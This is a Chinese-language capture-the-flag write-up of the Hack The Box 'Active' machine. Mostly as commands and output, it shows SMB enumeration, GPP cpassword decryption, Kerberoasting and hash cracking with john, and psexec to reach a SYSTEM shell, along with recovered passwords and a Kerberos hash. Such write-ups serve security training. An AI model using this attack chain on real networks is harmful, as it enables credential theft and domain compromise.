Active

Nmap 扫描结果如下所示：

```
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap -sC -sV 10.10.10.100 -Pn
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 09:30 EDT
Nmap scan report for 10.10.10.100
Host is up (0.25s latency).
Not shown: 971 closed tcp ports (reset)
PORT      STATE    SERVICE       VERSION
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-13 13:34:40Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
458/tcp   filtered appleqtc
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
666/tcp   filtered doom
800/tcp   filtered mdbs_daemon
1073/tcp  filtered bridgecontrol
1085/tcp  filtered webobjects
1105/tcp  filtered ftranhc
1124/tcp  filtered hpvmmcontrol
2522/tcp  filtered windb
2601/tcp  filtered zebra
3301/tcp  filtered unknown
4003/tcp  filtered pxc-splr-ft
5050/tcp  filtered mmcc
5080/tcp  filtered onscreen
5555/tcp  filtered freeciv
8181/tcp  filtered intermapper
49152/tcp open     msrpc         Microsoft Windows RPC
49153/tcp open     msrpc         Microsoft Windows RPC
49154/tcp open     msrpc         Microsoft Windows RPC
49155/tcp open     msrpc         Microsoft Windows RPC
49157/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open     msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.1:
|_    Message signing enabled and required
|_clock-skew: -1s
| smb2-time:
|   date: 2022-07-13T13:35:42
|_  start_date: 2022-07-13T13:30:35

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 311.49 seconds
```

使用smbclient查看共享文件夹：

```
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ smbclient -N -L //10.10.10.100
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

enum4linux命令显示结果如下：

```
=========================( Share Enumeration on 10.10.10.100 )=========================

do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.100

//10.10.10.100/ADMIN$   Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/C$       Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/IPC$     Mapping: OK Listing: DENIED Writing: N/A
//10.10.10.100/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Replication      Mapping: OK Listing: OK Writing: N/A
//10.10.10.100/SYSVOL   Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Users    Mapping: DENIED Listing: N/A Writing: N/A
```

使用smbclient -N //10.10.10.100/Sharename 的命令依次尝试，也发现只有Replication文件夹是可以访问的，下载其中的文件：

文件中有group.xml文件内容如下：

```
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ cat groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

其中有username和cpassword，cpassword可以使用gpp-decrypt工具解密，得到密码：

```
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

使用smbmap查看该用户的访问权限：

```
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
        Users                                                   READ ONLY
```

首先访问Users目录：

```
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Sat Jul 21 10:39:20 2018
  ..                                  DR        0  Sat Jul 21 10:39:20 2018
  Administrator                        D        0  Mon Jul 16 06:14:21 2018
  All Users                        DHSrn        0  Tue Jul 14 01:06:44 2009
  Default                            DHR        0  Tue Jul 14 02:38:21 2009
  Default User                     DHSrn        0  Tue Jul 14 01:06:44 2009
  desktop.ini                        AHS      174  Tue Jul 14 00:57:55 2009
  Public                              DR        0  Tue Jul 14 00:57:55 2009
  SVC_TGS                              D        0  Sat Jul 21 11:16:32 2018

                5217023 blocks of size 4096. 284503 blocks available
smb: \> cd Administrator
smb: \Administrator\> ls
NT_STATUS_ACCESS_DENIED listing \Administrator\*
smb: \Administrator\> whoami
whoami: command not found
smb: \Administrator\> id
id: command not found
smb: \Administrator\> cd SVC_TGS
cd \Administrator\SVC_TGS\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \Administrator\> cd ../SVC_TGS
smb: \SVC_TGS\> ls
  .                                   D        0  Sat Jul 21 11:16:32 2018
  ..                                  D        0  Sat Jul 21 11:16:32 2018
  Contacts                            D        0  Sat Jul 21 11:14:11 2018
  Desktop                             D        0  Sat Jul 21 11:14:42 2018
  Downloads                           D        0  Sat Jul 21 11:14:23 2018
  Favorites                           D        0  Sat Jul 21 11:14:44 2018
  Links                               D        0  Sat Jul 21 11:14:57 2018
  My Documents                        D        0  Sat Jul 21 11:15:03 2018
  My Music                            D        0  Sat Jul 21 11:15:32 2018
  My Pictures                         D        0  Sat Jul 21 11:15:43 2018
  My Videos                           D        0  Sat Jul 21 11:15:53 2018
  Saved Games                         D        0  Sat Jul 21 11:16:12 2018
  Searches                            D        0  Sat Jul 21 11:16:24 2018

                5217023 blocks of size 4096. 284503 blocks available
smb: \SVC_TGS\> cd desktop
smb: \SVC_TGS\desktop\> ls
  .                                   D        0  Sat Jul 21 11:14:42 2018
  ..                                  D        0  Sat Jul 21 11:14:42 2018
  user.txt                           AR       34  Wed Jul 13 09:31:27 2022

                5217023 blocks of size 4096. 284503 blocks available
smb: \SVC_TGS\desktop\> get user.txt
getting file \SVC_TGS\desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \SVC_TGS\desktop\>
```

如此，得到了user.txt的内容，但是这并不是一个reverse shell。我们将会在获得root权限后使用psexec.py得到反弹shell：

接下来，使用GetUserSPN.py尝试获得administrator的密码：

```
┌──(kali㉿kali)-[~/Desktop/impacket/examples]
└─$ python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile ~/Desktop/HTB/active/getuserspn.out
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2022-07-13 09:31:37.509344



[-] CCache file is not found. Skipping...
```

如此我们得到了一个ticket：

```
┌──(kali㉿kali)-[~/Desktop/HTB/active]
└─$ cat getuserspn.out
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$834e69e351ab47fe1d95d3f54f06a6ef$4e3211b8057ac52deaf6026282425ae6e459edc6ace83d6bf013b197f68d051c8d12ab164b0d921bd977197481ed87eb1dc2c4ef938386d3e17de2284fb894e8b6dd872f63
d14da85fda798b78ecc45910ca851eba7c45c88581ecfe35fae8b89bfea21fe07adc5d23f0dc66757df5df88861724aa5038e92852569ca28af7ed52772570039fe53a012a1527851a5b3bdbbe1e8c1d85975a9f2f3630267270faffa9d92a5b74b260b56e4b898a2ca71b7ec5ae48fdfb84d1afeb43
e04f4c860e2991 0df514276f0b43a3c1af41b36c411bcbbb4d2307150e60951c7cad78d3371a07d56a8981fa3824742975 44df6e2525ec25198ac791c8b5db8af02895d94eed5c843dd758f937b02fd936afb392dff60a1d6d884b4520eb3a07e4a500bed3cfb701612d5e25e628783168027cebe73
a8b93cee2b7ad09a6cb3ce45888850561945add7ce30b1bcd9a623d6aba00d888248fbf608e986deaa76daddb3db85c63d6841a2fc87f486f852ea939e78c25cd946432702de8440f1b4fff1951a315942d21edd5dec43a144752b94c6c4f6aa6fa1f00184faf0603085bb016627bfcdc963df674a6
17571205eb6f71f810ff82b719ade08e9682baf5c7eed9cd62c82f6f7adcf2c88a0d3361301b36cbf7b20f93b45cf1e4c0c67448ba8f1ba58b13cd704feb4e019793b9871bb8f36a6aac9e0e96e46dd27cace1102bf1b4853623ecfe00e4597bb126526e48a5c19c0dd5fcc3a04d4d7f328f585b85c
0f5bcf0ba0bcff8a42e3dc6c46536f2b5f916a71db322770d0c006597915b86178b8d25e2d5a221371bc12e789d39481187ce189d426c43c3b827e3396cf011efe4916db4214aa5a485f164dec84fba4acc097c2f59a7e8cbe82fcbc56002a184326c00cb0764605da76b7db54779ad2d4bb8ea6d0
8d3717dfb726e37b2eb971791cf80a0a481c18fb0e9b30ddfdb92b7f501c588bc8b5462534dc77ebe0141c30c2963993176713af9eaa023d5b382eb3085fc1ab5b1bba926a7d9f5c4003374696d9904058f9c8cc5bf9470c450117ae325723d7b11dc110fc0235e1287832658 1deb66a98078d11a0
7257b5202bb9d67ed0bb41968db97ed72d3416bff9740f1e212aaf2a7f4ce4779e164bcce0feb4292d37b436f18a1cefaef81d8b606d31b3ca585074909519cb792ab3ac5b306273d2fa7f7443b407728661e227cecc229b5428edbc3b845014144fe6a20325d05fb7876a2e53d75d44d6edc2d4
```

使用john解码：

```
┌──(kali㉿kali)-[~/Desktop/HTB/active]
└─$ john --wordlist:/usr/share/wordlists/rockyou.txt getuserspn.out --format=krb5tgs
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:04 DONE (2022-07-13 10:12) 0.2347g/s 2473Kp/s 2473Kc/s 2473KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

得到了administrator的账号密码之后，我们可以找到impacket目录下的psexec.py脚本获得反弹shell：

```
┌──(kali㉿kali)-[~/Desktop/impacket/examples]
└─$ python3 psexec.py active.htb/administrator@10.10.10.100
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file PcPplYWJ.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service hrEW on 10.10.10.100.....
[*] Starting service hrEW.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ifconfig
'ifconfig' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32> ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::1814:823b:56a2:86d1
   Link-local IPv6 Address . . . . . : fe80::1814:823b:56a2:86d1%11
   IPv4 Address. . . . . . . . . . . : 10.10.10.100
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:17d8%11
                                       10.10.10.2

Tunnel adapter isatap.{73A3C9B3-56C9-47B6-9326-5C0FFB1A8451}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd ../../users/administrator/desktop

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 15BB-D59C

 Directory of C:\Users\Administrator\Desktop

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
21/01/2021  07:49 ••    <DIR>          .

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
21/01/2021  07:49 ••    <DIR>          ..

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
13/07/2022  04:31 ••                34 root.txt

               1 File(s)             34 bytes
               2 Dir(s)   1.140.400.128 bytes free

C:\Users\Administrator\Desktop> type root.txt
1ca58ade4bd3c6e6c28519f8ce5ec122
```